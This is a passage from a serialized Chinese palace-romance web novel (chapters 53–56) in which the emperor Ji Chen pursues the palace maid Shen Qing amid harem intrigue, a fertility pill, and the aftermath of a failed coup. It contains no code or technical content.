平淡地过了两日,沈青听闻先帝二皇子的母家被下了大狱,又从皇后的只言片语中知晓原来金嬷嬷是周家的人,宫里有周太妃的人,朱砂方能神不知鬼不觉递到金嬷嬷手里。 金嬷嬷全家人都捏在周家手里,不得不为周家效命。 她的家人在事情暴露时就被周家处理了,妄图撇清与金嬷嬷的关系,金嬷嬷大悲之下死咬周家,最终周家落了个满门抄斩的下场。 周太妃被一杯鸩酒归了西,死后不能进皇陵,纪寓被贬为庶人,终身圈禁。 除夕夜晚的事这才落下帷幕。 京中与纪宸是血亲的文王信王莫不自危,即便事后被纪宸叫到宫中言明只要不犯错,他这个当大哥的是不会如何他们的,但文王信王仍惊骇过度,瞧着不堪大用。 这是纪宸第一次为皇位在他之后能否迎来明主犯起了深思。 他父皇有他,不必忧虑后继无人,早早死了到地下也不用愧对列祖列宗。 他呢? 第53章 第53章宫女五十三日(倒v入v…… 景明五年二月,十四岁的永福公主纪仙展现出博闻强记的天赋,帝甚悦,准允她出宫游学,赐百名护卫随行。 永福公主纪仙离宫时相当低调,当后宫嫔妃终于想起来探望这位公主时,却扑了空,再一问,原是当天便收拾好东西去游学了。 皇上的兄弟不成样子,眼看着这位永福公主得皇上看重,像是皇室新貴,未来兴许能在皇上跟前说上话。 可没等她们先讨好上,永福公主却不见了人影,不由叫人郁闷。 心中难免愤愤,至于走得那么急吗? 永和宫怡和殿。 星罗见自家姑娘少言少語了数日,脸上可见憔悴之色,眼尾的妩媚也不如往日动人,就先忧心上了:“姑娘,您还在想那件事吗?” 嫣婕妤扫了一眼在殿內擦器物的宫人:“以后还是叫我婕妤或是主子,你这从小的习惯该改了,宫里到底跟在家不一样。” 星罗自覺失言,呐呐称是。 “可是……”您还未回答奴婢的疑问。 嫣婕妤眉梢多了抹不耐,打断了星罗要说未说之語。 除夕过后她便得知李美人懷孕,原本以为凭她的恩宠懷孕是迟早的事,因此总覺得不急,可这后宫的孩子一个接一个冒出来,终究让她沉不住气了。 再加上直至二月,皇上来了两三次后宫,都没翻她的牌子,更让她生出皇上介意她和纪寓的事念头,即便她再忠贞无辜,可那位是皇上,皇上的心思终究不好猜。更何况纪寓背后的周太妃和周家犯的又是那事,纪寓没有参与其中的可能性微乎其微,说不定牵連着連对她都生出了芥蒂。 早知纪寓倒台那么快,她便也不必费尽心机铲除隐患了。 不过半月之差。 时运并不眷顾她,怎能让她轻易放下? 星罗瞧着主子的样子觉得心疼,忍不住劝慰道 :“皇上最近来后宫来得不勤,未必是主子您的原由,许是被什么事绊住了。” 这人的往日恩宠一旦过盛,便会潜移默化改变人的性情,往日主子面对皇上来不来都很镇定,现在却显得有些急躁。 嫣婕妤抚着眉梢,忍不住思考星罗话中的意思:“前朝并无大事,上元节都结束了半个多月,皇上甚至能腾出手来考察永福公主的课业,能被什么事绊住?” 嫣婕妤和星罗一对视。 星罗知道主子不喜歡听狐媚子这三个字,便道:“不一定是事,许是什么人,女子?” “若真是这样,宫中又如何没有风声?”嫣婕妤郁闷道,“若皇上有喜歡的,怎会按耐地住不将人纳进后宫,再说了,皇上纵然忍得住,那女子能不炫耀?” 星罗认为婕妤说得有理,可不是这样,又是哪样呢? 总不至于皇上愈发清心寡欲起来了…… 星罗又有了想法:“主子,您说会不会皇上觉得后宫的孩子多了,便不需他再多进后宫?” 让后宫的嫔妃懷孕是身为皇帝的任务,若皇上不能生育,那则另说,但皇上能生却没什么子嗣,前朝的大臣总会为了社稷而上折子催一催。 但是现在宫里光未出世的皇嗣都有俩,皇上也算初步完成了任务。 至于他们这个皇帝,雖贪戀美色但不沉溺,雖有喜好但不要求后宫都是一个模子里刻出来的。 楚貴人的样貌应是讨皇上喜欢的,但皇上也没急着给她提位份,且楚贵人的恩宠虽稳定,但没到翘楚的位置。 嫣婕妤手上的动作一顿,越发觉得星罗说得没错。 在这宫里恩宠只是一时的,孩子才是下半辈子的倚靠:“将咱们从宫外帶的藥丸给我一颗。”怀孕的事不能往后推了。 “皇上身邊若真多出个女子也不能不防,星罗,你去御前时多注意些。” 星罗本还想说什么,但嫣婕妤后一句话紧随而至,她只能点头称是。 家里帶的藥丸是陆云湄的親娘留下的药方制的,若是不拿到药方细细研究,再高明的大夫也只会以为是治咳疾的偏方。 嫣婕妤将之帶进宫,用的理由便是最近有些许咳意,这是她从小吃的药丸,对咳疾有奇效,太监找来太医检查过后,得到证实还给了她。 但其实,这东西是助孕的,然万事万物都有风险,当年姨娘便是因此生产时出了状况没了性命。 面对星罗担忧的目光,嫣婕妤道:“我知道该怎么做。” 必不会让自己涉险。 星罗垂眸思索婕妤这句话的意思。 天气渐渐暖和起来,大皇子也变得活泼了些,最明显的是觉少了认人了,一旦親近之人离开屋內,便开始嚎啕大哭,知道这人是要走了。 沈青虽抱大皇子抱的少,但宫内没什么乐趣,便常常笑着逗一逗大皇子,这么一来,大皇子就变得粘她起来。 加之大皇子身份贵重,自然不能像对待普通小孩那样对待他,沈青扭头要走时,大皇子便开始瘪嘴,走了两步,就能听见干嚎的哭声,再走两步,那就开始落泪了。 纪璨长的粉雕玉琢,委屈的样子看得人揪心不已,沈青无奈只能留下。 而小孩子普遍机灵,知道这个方法奏效后,便常常这么辦。 现在已经从乖乖自己呆着开始伸手要抱,不抱就瘪嘴。 行吧,当锻炼了。 沈青在大皇子这里脱不开身,更没时间去应付皇上,即便钱继送东西时话里有话,她亦可以拿大皇子推脱。 但凡陪大皇子半晌,便知道她所言非虚。 不过比起应付皇上,她更喜欢呆在大皇子身邊,毕竟,纪璨是个萌娃,不闹人时乖的不行,只是粘人了些,但粘人本就是小孩子的天性,怎么能苛责呢。 乾清宫中,得到沈青一遍遍拒绝的纪宸脾气一天比一天坏,偏偏他不乐意将情绪直接表露出来,得让人猜,乾清宫的气氛一天比一天紧绷。 二月中旬时,纪宸忍不了了,亲自去坤宁宫将大皇子带到乾清宫中。 沈青自然也随着来到乾清宫。 大皇子在皇上的地盘必然是安全无虞,她没什么可不放心的,便直接倚在榻上迷迷糊糊浅眠了一阵。 纪璨知道这个气势惊人的男人是自己所不能惹的,趴在纪宸怀里委屈巴巴瘪嘴,又不敢直接哭,看向奶嬷嬷的目光带着期许。 奶嬷嬷自然不敢让皇上温和些,分给大皇子的余光中带着为难。 纪宸抱了纪璨一刻,才将大皇子递给奶嬷嬷,纪璨迫不及待伸手,卧进奶嬷嬷身上满是依戀,脸一扭,连看纪宸都不愿意看。 这时,小小的脑袋也记不起沈青了。 奶嬷嬷将大皇子带下去哄,纪宸往里走到软榻处,他记得沈青刚刚就在这里,为此,他特意抱着纪璨往反方向走了走。 纪宸走近,便看见沈青恬静安宁的睡颜。 本来心中一股火气,没想到看着看着心情反倒平静下来。 他伸手将沈青抱起来,往龙床那边走,听到怀里的娇人嘟囔了一声:“困。” “让你睡,去床上,床上睡着更舒服。”纪宸哄道。 得了承诺,沈青任由自己坠入梦乡。 再醒来时,殿内已经亮起朦胧的烛火,睡前的记忆一点点复苏,沈青不由诧异。 纪宸居然对她什么都没做,她只说了一句困,便任由她睡去,还特意不叫人打扰。 想到仗着皇上拿她没辦法,用大皇子这个理由推拒了一个月的沈青不由感到心虚。 她的头发被人解开,披散了下来,发钗放到床边的木几上,外衣褪下,但里面的衣服还穿得好好,一个扣子也没有开,一条系带也没有解。 鞋子放在床脚,但脚上雪白的罗袜还在。 这个朝代最忌讳的就是女子被人看脚,看了仿佛就要以身相许一般。 沈青虽然对这个观念嗤之以鼻,但见双足未露,便明白纪宸是个正人君子。 等她收拾好走出去,发现纪宸这么晚了还在御案前,便道:“陛下,您这么晚了还没睡是因为我占了您的床吗?” 她起先是疑惑,后来语带惶惶,似是很自责。 纪宸让沈青走近,睡饱后的人格外听话,走到他身边,被揽着胳膊抱紧。 他的下巴放在沈青的肩膀上,一只手压在沈青腰身,往他怀里压了压。 纪宸的力气于沈青而言很大,那双手臂宛如铁铸,牢固到让人挣不脱。 沈青的鼻尖尽是木质的沉香味道,穿透力强,且尤为霸道,将她包裹地严严实实,不容忽视。 纪宸愿意抱便让他抱,不知是否因为这道沉香让她安神静心,沈青觉得这股几乎把她揉进骨血里的力道也不是那么难以忍受,至少不会剥夺她胸腔里的空气。 纪宸太喜欢这么抱着沈青了,独占欲得到了极大的满足,怀里的人是那么娇小温暖,嵌进他的怀里又是那么的合适。 小娘子乖顺到不可思议,纪宸不由惬意地吻了吻沈青的发丝。 “朕方才在翻卷宗,发现太祖统一天下后,每年都要进行一到两次的狩獵,那时的皇室血脉优秀到能自相残杀,而到后面的几个皇帝不喜野外狩獵,遂废止,改为靶场射礼,成了勋贵子弟展示的地方,但终究少了些血性。” “朕想着不如把狩猎捡起,举办一次夏藐,之后在避暑山庄度过炎夏,再进行秋狝,将这些懒散的勋贵官员之子拉练起来。左右钦天监算量出今年皇宫在大暑时会炎热至极,不如早早定下,免得到时惹得人心浮躁。” 他想把一年一到两次的狩猎传统捡起来,就从今年开始。 沈青有些糊涂,皇上提前告知她这些干什么? 这虽鲜少涉及朝政,但政令下达后,善于骑射注定会得上赏识,提前明白皇上的态度,便抢占了先机。 如今,天子将他对这天下的态度向她展露,透露的意思便有些多了。 沈青茫然地想,皇上好似真把她看作囊中之物,不认为以后她会离开他,所以不吝啬将这些悉数告知她。 可是一个月只见几面,不过亲近一二次的男女,能有这么深的感情吗? 难道她逢场作戏的手段已经高深到勾得皇上日渐沉迷了吗? 迷恋到直到现在对她的兴趣仍不减分毫,反而有些增大的趋势。 第54章 第54章宫女五十 四日 沈青静静听着,不想再思考爱不爱的,遂问:“陛下弓马娴熟?” 纪宸的臂力过人她是信的,但从未见过他拉过弓骑过马。 纪宸虽是皇帝,也不愿放纵自己在宫中纵马取乐,自然,沈青也无从得见。 她倒是听到过纪宸在演武场的消息,但是那里,不是她能去的。 纪宸谦逊颔首。 沈青默默计算着,如果纪宸要举办夏藐,大皇子年龄尚小,必是不能跟着去,但避暑山庄却是可以,興许她还能凑一下秋狝的热闹。 “既要做宫女,何不做乾清宫的宫女,届时朕可以带你出宫。”纪宸贴耳道。 沈青听得一清二楚,略有些无語和鄙夷。 好无耻的话啊。 她这是在做宫女吗?她这明明是在赌他对她的興趣不会长久。 到乾清宫当差,真是把自己送到他嘴边了,生怕自己不那么快地被吃幹抹净吗? 至于拿出宫诱惑她,去避暑山庄也算出宫。 其他的,皇上会带她去看她父母吗?正经嫔妃都没资格吧。 沈青软绵绵道:“不要。” 嫌弃的意思极为明显。 纪宸听出来了,心中确实有一瞬间的不快,覺得这小宫女怎么这么不知好歹,但在贴脸猛蹭了沈青脸庞两下后,将她的肌肤都搓的泛红了,这点不快就消失的无影无踪。 这下又轮到沈青不高兴了,奋力从他怀里往外挣。 嘴里还喊着:“你怎么能那么坏呢?脸都给我蹭掉块肉,疼!” 气坏她了,这是什么力气,净往她身上施展了,不知道女子的肌肤很嬌嫩吗? 呸! 沈青摆出怎么哄都哄不好的架势。 这次不发作,下次受罪的还是她。 沈青所用的力道就代表着她的决心,可纪宸又如何能放手呢,更是将人直接放到自己腿上。 沈青这下前方的空间稍稍开阔,握緊拳头去捶纪宸。 捶死这个不要脸的! 明明是他图谋不轨,想把她养在乾清宫当个暖床宫女,被她发现拒絕,反倒先朝她生气,当她是泥捏的不会反抗吗? 她现在完全冷静不了,眼中噌噌冒着小火苗。 沈青的力气有多大,知道的唯有纪宸,只见他脸色猛然一變,忍了许久还是咳了出来。 連声的咳嗽响在殿中,沈青倏地變了神色。 怀中的身体慢慢软了下来,握成拳头的手也松开改抓住他衣裳的一角,眼睛眨巴着,尤为可怜。 如果没忘她方才做了什么的话。 这下倒是想起他是个皇帝了,有些事是不能对他做的。 纪宸视线往下扫,并未低下头去安抚。 沈青攥着纪宸的衣裳,在手中揉来揉去,手心的细汗浸到衣服上,都快揉成破布了。 殿内长久的沉寂让两人都不好受。 纪宸打着好生吓唬她一顿的想法,因此并不急着放软了脾气。 而沈青也不抬头,叫人看不到她的表情。 吧嗒。 一滴淚水从沈青的眼眶中划出滴到纪宸的衣服上,洇出一圈湿痕。 纪宸眼神瞬变,急了,一手环着她的肩,一手抬起她的脸庞。 双眸含着淚花的苍白小脸映入眼帘,嘴巴緊紧抿着,抿得将唇珠都快壓没了,倔强地扭过头,不去看他。 可她哭了。 因为害怕他哭了,連哭都是无声且壓抑的。 “对不起,朕不该吓你。”纪宸的话語苍白,拇指抚上她的脸颊,将眼眶中溢出的眼淚擦掉。 面对道歉,沈青的眼淚掉的更凶了。 一颗又一颗砸在纪宸的手上,嘴巴也抿得更死了,偏头不去理会。 流泪是最好的发泄途径,沈青覺得委屈,如果不是纪宸招惹她,她至于处在这种不上不下的位置吗?还次次逼她,好像她就是一个泄欲的工具,最大的用处就是让他親爽了,親高兴了。 可她第一次根本没覺出高兴,只是累。 第二次也是她在哄他。 凭什么呀。 现在她哭了,知道急了,若是她忍着一直不哭,是不是还要继續恐吓她,把她教导成他喜歡的柔顺模样? 沈青簌簌落着泪,也不说话,这让纪宸更加慌张了,他没有哄人的经验,只能一遍遍低诉着歉意。 可这套对沈青是不管用的。 纪宸出手,掰开沈青的嘴巴:“如果哭出来觉得好受,那就不要再忍着,哭出声。” 什么呀,哄不过就用命令的语气,沈青扁着嘴,被压久了的唇珠色泽显得更鲜亮,尤其是在那张梨花带雨的脸上。 纪宸盯着唇珠的目光又变了,但他却没亲上嘴唇,因为这时候这么幹,沈青絕对会更生气。 纪宸俊美的脸庞蓦地凑近,沈青见状一顿,在这一瞬间几乎忘了继续哭。 够男人,也就脸能看了。 然后,她的脸颊被啄了一下。 轻柔的、怜惜的,但这不能掩盖纪宸是在吃她的眼泪。 沈青:“!!” 变态! 呜咽的声音在耳旁响起,纪宸垂眸,沈青的眼中满是不可置信,像在看禽兽一样看着他。 他确实不是一个体面的人,但仅限在她面前。 “卿卿,你的眼泪是甜的。”他这次吻的是她的眼皮。 曾有无数人叫过沈青青为青青,可却唯独没用这么磁性、暧昧、挑逗的声线喊过,纪宸看向她,眼中是丑陋的欲望。 但很快她明悟过来,他叫的应该是卿卿,一个爱称。 他居然因为她哭成这样而生出了情欲! 因纪宸这次吻的是她的眼皮,沈青已经没有办法再观察他,她被迫往后仰,落在纪宸的手掌中,往前,又把自己送到唇舌之下。 她不知何时落入了进退维谷的境地。 呜咽的哭声断断續续,她都惨成这样了,还不能让她痛痛快快哭一场吗? “变态……禽兽,讨厌死了,脏死了!” 舌头里都是细菌,居然来舔她的脸。 沈青要嫌弃坏了。 可纪宸却在暂停喘息时闷笑道:“小娘子是在撒嬌吗?可以大点声,这里没其他人,只有我们两个。” 纪宸坐在属于皇帝的宝座上,伸手轻而易举将沈青换了个姿势,跨坐在他身上。 沈青的双脚没有支撑点,更不如双腿并在一起省力,只感到无依无靠。 伏在纪宸环着她腰身的手臂上,沈青迅速将眼泪擦干,抬着下巴看向他,看他如何是好。 纪宸太喜歡她这骄傲地像猫一样的表情。 他问:“痛快了没?” “皇上说的什么意思,我听不懂。”沈青维持着这个表情,但心里已经咯噔一下反应了过来,天呐,她居然对着皇帝又哭又骂。 沈青想从纪宸身上下来:“我要去找大皇子。” 纪宸不让,抬臂一拦她便无可奈何:“纪璨身边有人,你和我一起睡。” 沈青嘴巴惊的微张,一下子就想起了不好的事,結結巴巴道:“我还是个小姑娘。” “是,性子越发娇了。”纪宸顺从道。 沈青欲哭无泪:“我习惯一个人睡。” “这个习惯不好,得改,小娘子不觉得长夜漫漫需要人陪吗?” 沈青在纪宸的目光中摇了摇头,见怎么都说服不了纪宸放她离开,便只能放软了语气撒娇道:“不要。” 纪宸叹了口气:“你怎么忍心这么不上不下吊着朕?” 沈青都想嗤笑在他脸上,说得她这么薄情,明明占尽便宜又死不要脸的另有其人。 难道纪宸想说,见不到她时,会思的发狂,想的发疯? 这可能吗? 沈青是必然不信的,但奈何,力量悬殊,不把人家哄好,她是走不掉的。 可还不等她再迂回,纪宸便先一步出声保证道:“在没有得到你的允许,朕绝不会动你。” “庑房的床太小,也不软,睡着没有龙床舒服,而且朕保证,明早有宫人进来伺候时绝对不会让人发现你在这。” 纪宸的目光正经且沉稳,很容易让人信服,如果不是沈青还坐在他怀里的话。 “您金口玉言,我自然是信的……”沈青语气一轻,目光望下扫了扫,叹了口气。 如果不是她早就发觉了,她便信了。 不然,她干嘛一直倚着纪宸的胳膊,难道图他胳膊硬的硌人? 沈青抬眸无辜地望向他。 却见纪宸微 微一笑:“这下不更证明了朕定力惊人?” 沈青:“……” 无法反驳。 “但是皇上,真不需要我离开给您留下独处的空间吗?” 纪宸:“不用管它。” 他的目光热烈地落到沈青脸上,如果仅仅因这而耽误他留下沈青,那他这一个月的枯等算什么? 沈青最终还是被留下了,从纪宸身上下来,她几乎是避着他走,生怕他忽然兽性大发。 还好如纪宸所说,他的定力惊人,理了理衣裳便不再管,神态从容如往日,压根看不出丝毫不对。 纪宸让人上了瓜果糕点。 沈青错过了晚膳,便吃了些垫垫肚子。 等两人各自沐浴过后——皇帝洗浴的池子非常大,甚至分了一大一小两个池子,从龙头中流出来的水是温热的。 且池子壁和底部是用玉砌的,据纪宸所说,小的那个是嫔妃来乾清宫侍寝用的,但他从没有传召嫔妃到乾清宫,这几年除了她没有人用过。 他语气随意,目光若有若无观察着沈青的表情。 沈青听着哇了一声,这乾清宫真是贵不可言,连嫔妃沐浴的池子也是玉做的。 就是不知道她出宫,能不能给自己砌一个这样的池子,不必比这池子大,小一点也没关系。 既然能拿玉当砖头用,想来这玉应该不会很贵。 等到一切折腾完,沈青便重新觉得困起来,从小池子出来披了件从脖子往下捂得严严实实的衣衫,穿过两架屏风,经过纪宸的大池子。 纪宸早就沐浴完毕,离开了这里,只剩汤池中无波澜的水和混着一股说不清道不明的味道。 沈青嗅了嗅,皱着鼻子嫌弃道:“好臭。” 然后熟门熟路去龙床那里,找到纪宸,拽了拽他的衣袖,跟他说他的池子里有味道。 纪宸俊美的脸庞被一层薄薄的红晕覆盖。 再去看沈青,但见她脸颊浮着两团明显的红晕,即便从池子那里过来也没降下来,她的眼神迷离,露出贝齿傻笑:“嘿嘿。” 纪宸两根手指抵着沈青的肩膀,脸上一黑:“你喝酒了?” “如果是托盘上的酒,对的呦。”沈青拍了拍脑袋,露出你好聪明的模样。 两口解乏助眠的酒居然让沈青醉成这样,纪宸不知该说什么好。 但是这个傻兮兮的姑娘,莫名有些可爱。 而且这时的沈青,是诚实的。 纪宸趁此机会问出心中的疑惑,恐怕只有这种时候才能问得出,其他时间,沈青就该露出警惕的目光了。 “卿卿喜歡朕亲你吗?” 沈青大声道:“青青不喜欢朕亲我!” 纪宸连忙捂住沈青的嘴巴,咬牙切齿:“不喜欢就不喜欢,不必说得那么大声。” 沈青眨巴了下水灵灵的眼睛,以示同意。 “为什么不喜欢?”纪宸将手放下,又时刻准备着捂上去。 好在这次她的音量正常。 沈青掰着手指:“根本不在乎我的感受,不会哄着我,不会引着我,不会从慢到快,而是一开始就疾风骤雨,我是个女子,呼气吸气根本就比不过你。虽然最后关头爽的头皮发麻,可重新面对,还是会怕。” 沈青垂眸,打了个哈欠:“好困。” 纪宸放她滚进床里面睡,嘴角却压不下去,说男人猛,这不是夸人吗? 他真想叫沈青见识一下他更猛的时候。 床榻里,烛光辉映不到的地方,沈青劫后余生并长长吐出一口气。 太可怕了,被皇上捂住嘴的时候猛然清醒,对自己说过的话,笑的傻气记得一清二楚,幸而顺着糊弄过去了。 但是纪宸问为什么不喜欢,她还是遵从内心回答了,因为害怕下一次再刺激到小死一次。 跟纪宸调情,要命。 至于他会不会被打击的不自信,谁让他趁着她不清醒的时候问这种问题? 她也是百般纠结后才吐露的。 她明天装作不知道好了,这样就谁都不尴尬了。 第55章 第55章宫女五十五日 翌日,卯时初,外面天将破晓,殿内还没透进晨曦时,纪宸便起身了。 沈青听到动静,转身背对着外面,如瀑的黑发铺在脊背上,她还没有完全清醒,但周围的声音已经开始入耳,好在并不吵。 这时寢殿门被打开,宫人门捧着东西进来侍候,不多时,响起擦脸的水声,接着是穿衣时窸窸窣窣的布料摩擦声。 整个过程纪宸拿眼神示意,便无人擅自出声。 宫人们悄无声息,从纪宸的脚步声,就能想到他大步往外走的动作,到寢殿门口时,許是覺得距离够远,末了他道:“今早寢殿不必进人。” 錢继低声称是。 最后寝殿的门嘎吱一声闭上,沈青也旋即睡了个回笼覺。 再次醒来时,已是一个时辰后,纪宸也顺利上完了早朝,他踏进寝殿时天已大明,不似起身时殿内烛火辉辉,不站在龙床边根本看不出床里面还睡了一个人。 他昨晚亦信守承诺,即便沈青醉酒,也未趁着那时候占些肢体便宜。 即便一想到和她躺在一张床上,便心头火热,睡得艰难。 既然答应了小娘子的事,必然得做到,不然下一次再想留可没什么脸面了。 沈青醒来后先发了会儿呆,听到有人进来,又看到床边先映入眼帘的龙袍,便放心地从床里面滚了出来。 乌黑长发铺在她的身下,双眸尚帶着些迷离与温柔,前者是因为刚睡醒的缘故,后者则是她的性子本来就不帶什么攻击性,所以人缘颇好。 “皇上,您下朝了?” 以沈青这个視角,身材高大又穿着龙袍刚过及冠之年能称为丈夫的男人,气势早已沉淀得成熟威仪,身上带着天子气,晨光交叠在他年輕的面孔上,光芒灼目的讓人不可直視。 然后这样一个人,抚身吻向了她的额头。 即便沈青对纪宸的观感复杂,但不可否认,这一刻她爽到了。 身心俱爽。 纪宸抱起瞬间精神百倍,双眸亮晶晶的小娘子,走了几步,这才将人放到织造精湛的宫毯上。 论伺候人,纪宸是一窍不通,所以沈青梳洗时,他也只能帮着递个工具。 梳洗完后,沈青坐在妝奁前,准备给自己画个显温柔气色的妝。 待到描眉时,纪宸折起袖子自告奋勇道:“朕来。” 沈青抿着染好晶莹口脂的唇,目光悠长地看向他,妄图想将他劝退。就纪宸在这方面笨手笨脚的样子,能画好眉? 可纪宸太爱沈青揽镜梳妆时认真仔细的恬静小脸了,在旁边看怎么过瘾,自然得参与进去才好。 面对纪宸理所应当不退讓的模样,沈青鼓了下脸,只好将手中的青黛递给他,仔细叮嘱道:“描眉的时候力道一定要輕,輕轻描两下就可以了。” 纪宸应下,轻柔扶起沈青的脸庞,她细腻顺滑的脸颊落到他的手掌中,大小合宜,光是视覺上就使人愉悦,加上沈青忐忑的目光,纪宸的心情就愈发好了。 也算是落到了他的手上。 当然,他也没有故意作怪沈青,只是讓她忐忑的心情持续的久些罷了。 他一个天子怎么会通过这种幼稚的手段来报复。 居然敢嫌弃他的吻?胆大包天! 落到纪宸手里,沈青才深感不妙,她方才就应该严词拒绝,现在纪宸都已经上手了,自然悔之晚矣。 不幸中的万幸,纪宸的手是稳的。 沈青一动不动,生怕因此导致纪宸画错了地方,讓他本就不精湛的技艺更加雪上加霜起来,亦不敢催,不然这次他不画滿意了,下次非要上手呢。 即便下次可能是很久之后。 沈青对自己容貌极为在意,度日如年,相反纪宸则要悠闲很多,目光落到沈青的眉眼处,正细细画眉,压根不是描两下就将青黛还回去的架势。 终于,纪宸收手 了,面上还算滿意。 他果然是个天才! 沈青在纪宸松手的时候就立刻看向铜镜,出乎意料的,纪宸画眉的手法不赖,并未破坏她整张脸的美感,反而使她出挑了許多。 即便沈青原本想画个低调的眉型,但面对纪宸画的眉,也说不出不好二字。 沈青长舒了一口气,不打算改了,因此也毫不吝啬誇赞:“陛下您好厉害,画眉画的可真好,这么好的技术怎么不见宫里娘娘誇一夸,真是让宝珠蒙尘。” 她轻轻嗔道,也是让她虚惊了一场。 沈青抹了把额头上不存在的虚汗,准备去大皇子那里看一看,扭头却发现纪宸挂着一张脸。 方才还眼中含笑,很是自得。 沈青试探道:“我夸您您不高兴嗎?” 纪宸觉得沈青没有心,什么叫不见宫里的娘娘夸一夸,他难道就得晨起侍奉她们画眉嗎? 他只给她一个人画过,他只是见过女人画眉,这是第一次上手,不过女子的眉型不就那样么,他又怎么会画不出来。 且沈青提起嬪妃的语气是那么淡然,丝毫不嫉妒,就好像……他对嫔妃的态度和沈青对他的态度是一样的,可有可无。 但怎么能呢?他是皇帝,沈青只是个宫女,她不该这样,她得学会拈酸吃醋,既要小心讨好,亦要生出独占他的心思。 然而这叫纪宸说,他是说不出来的,他还要脸。 一说出来,好似他和沈青之间,他就处于下位了。 于是纪宸冷了脸:“无事。” 也不像是没什么事的样子……沈青心中嘀咕,兴许是想起了朝堂上让他不爽的事、讨厌的臣子,反正不可能是她的原因。 沈青美滋滋去找大皇子。 纪宸片刻后从寝殿出去,碰上特意候着他的錢继。 他往前走,钱继疾步跟上道:“皇上,要不要彤史将昨晚寝殿的起居记上一笔,日后若是有孕,也好有个出处。” 纪宸停下,气息冷肃:“昨晚朕并未碰她。”说完,再没去看钱继这个没眼色的。 这下,早膳也不想用了,直接去批阅奏折的地方。 钱继一呆,也不敢跟上,他哪知道孤男寡女共处一室会什么都不发生,这符合常理吗? 对于皇上的迁怒,他不敢有丝毫不满,在心中默默将沈青的地位往上拔高,当下便命人给大皇子身边的人送些新鲜瓜果膳食糕点。 沈青对这一切一无所觉,一天的时间都呆在大皇子身边,而纪宸也没找理由将她叫走。 只在晚间的时候过来看了大皇子两眼。 因周围还有其他人,沈青并未抬头直视皇上,自然没观察到他明明灭灭的神情,最后因得不到想要的在意而拂袖离开。 奶嬷嬷即便察觉到皇上的不快,也不敢提及,这可是在乾清宫,私下议论皇上,不要命了? 沈青就这么与真相失之交臂。 在乾清宫呆够了两日,他们便回到坤宁宫中。 接下来的时间,于沈青而言很是风平浪静。 三月中,大皇子第一次坐起来,坤宁宫中一片欢喜,彼时,宁辉苑的何才人也开始发动,生了一天一夜,几乎去了半条命,生下一子,排序为二皇子。 何才人的身体亏空严重,需要卧床好好静養,等她養好身体的时候,却被告知噩耗,她因生产艰难而不能再有孕了。 这时也已经是四月,皇后听闻她悲痛过甚,送了些赏赐过去,便没再管。 只有青古和沈青知道,何才人不能再有孕,是皇后干的。 青古沾手此事,知晓阴私再正常不过,而沈青是意外听到皇后在心里提起此事。 不过知晓了,沈青也没什么波动,权当不知道。 何才人的位份不够,不能抚养二皇子,太后特意将皇上叫到慈宁宫,说起这事。 最终几经辗转,皇后和德妃在其中给贤妃添了许多不痛快,让贤妃即便接手二皇子也不舒坦。 二皇子最终由贤妃抚养,太后霸道,想着二皇子日后大了,旁人提起生母再给贤妃横生波折,于是玉牒上二皇子也落到了贤妃名下,二皇子也确定了名字,名为纪珉。 自此之后,嬪妃再不能说何才人才是二皇子的生母,徒惹贤妃不快。 何才人知道后,虽心里是撕心裂肺的恨,但身体大好后便不做耽搁前往贤妃的长春宫,毕恭毕敬捧着贤妃。 贤妃虽知道何才人未必如明面上这般乖顺,但她儿子在她手里,料想何才人即便是装乖也得装一辈子,届时,谁还会管何才人在想什么。于是便接纳了何才人。 太后自这件事知道贤妃主意大,早在去年时便在和她商量谋夺何才人腹中的孩子,何才人若生个公主,便一切作废,若是个儿子,便如这般。 何才人好命,也不好命。 以太后过去独揽宫权的经验,觉出何才人并不简单,然提醒过贤妃一次后,贤妃不以为意,她便没有再提。 跌一次跟头罷了,非得让贤妃摔疼了才知道利害。 一次计划如她意料便得意起来,不是太后所期望的颜家女的模样。 后宫暗潮流动,皇上将举办夏藐秋狝,以及去避暑山庄的命令下达,动身的时候得五月底了,但提前布署筹备也将相关部门忙得团团转。 自二月中的一别,直至四月,沈青和纪宸也没单独相处过,纪宸来看大皇子,也不再去看她,冷然的模样让人觉得陌生。 沈青再迟钝也反应过来了,皇上是在对她不满,在与她冷战。 沈青搓了搓手,还有这种好事? 当然,冷战这个词还是有点亲密,跟小情侣闹脾气似的。 但四月,她是真顾不得纪宸了,因为大皇子开始学爬了,她抽不得身,再一个,她不想哄纪宸。 哄着他把她吃了吗?百亏而无一利。 从大皇子处转悠回乾清宫,纪宸身上的怨气已经可以同化旁人了,比厉鬼还凶,偏他不觉得,他不是一直都这样吗? 他是皇帝,哪儿来那么多笑的模样。 绝不承认他被沈青影响了。 区区一个宫女罢了。 罢了。 纪宸拿出册封嫔妃的圣旨,在上面改了又改。 他连才人都不想给了……宝林,讨好他才能晋位份……算了,他宽容大度,就才人……美人,不能再高了……贵人,不上不下,既欢喜不了又徒增怨怼……婕妤的话他记得杜氏以前就做过婕妤,万一有阴影怎么办……宫中有两位嫔了,再多一位岂不显得臃肿? 再往上的贵嫔倒是一步到位满足了沈青的意思,但他的面子呢? 纪宸阴着脸将册封圣旨收了起来。 第56章 第56章宫女五十六日 五月的时候天气开始升温,今年确实比往年熱,尤其是宫女的夏季衣制,纵然薄了许多,但叠来叠去,最厚的地方有三层之多。 沈青用湿了水的帕子擦颈,脸上也不再上妆,毕竟妆粉不防汗,稍微跑几步就变得斑驳難看。 天气愈熱,她的皮肤就愈显得白里透红,像是清甜可口汁水饱满的桃子。 她的身量拔高了一些,身段随之纤细,原本还有些婴儿肥的脸颊也瘦了下来。天一熱,沈青用膳自然就少了,再加上她没想到会在这时发育,营养都供应在个子上,瘦了实属正常。 只是这么一来,她宛如脱胎换骨,原本的美貌尚且能隐藏,但现在即便一举一动刻意低调,也会收到宫人若有若无的视线。 坤宁宫的宫人视线还算克制,但出了坤宁宫,就有些麻煩了。 五月的热不光她受不住,一些嫔妃位份较低,份例里的冰数量少不够用——这还是皇后提前给嫔妃供冰的结果,因此就爱往阴涼地方跑,譬如湖亭,譬如背阴處的园子。 出门撞上嫔妃的几率变大,沈青也就不爱离开坤宁宫了。 毕竟她一个宫女,虽是皇后身边的,但嫔妃叫住她,她能不停下? 虽然大皇子處的冰不会缺,但纪璨还小,能不貪涼就不貪涼,拿扇子扇扇風也比用冰强。这样一来,哪有主子不用冰,底下的奴婢却放着冰盆,既于理不合,又分外显眼。 即便沈青能做,她也不会去做,所以只能多用水。 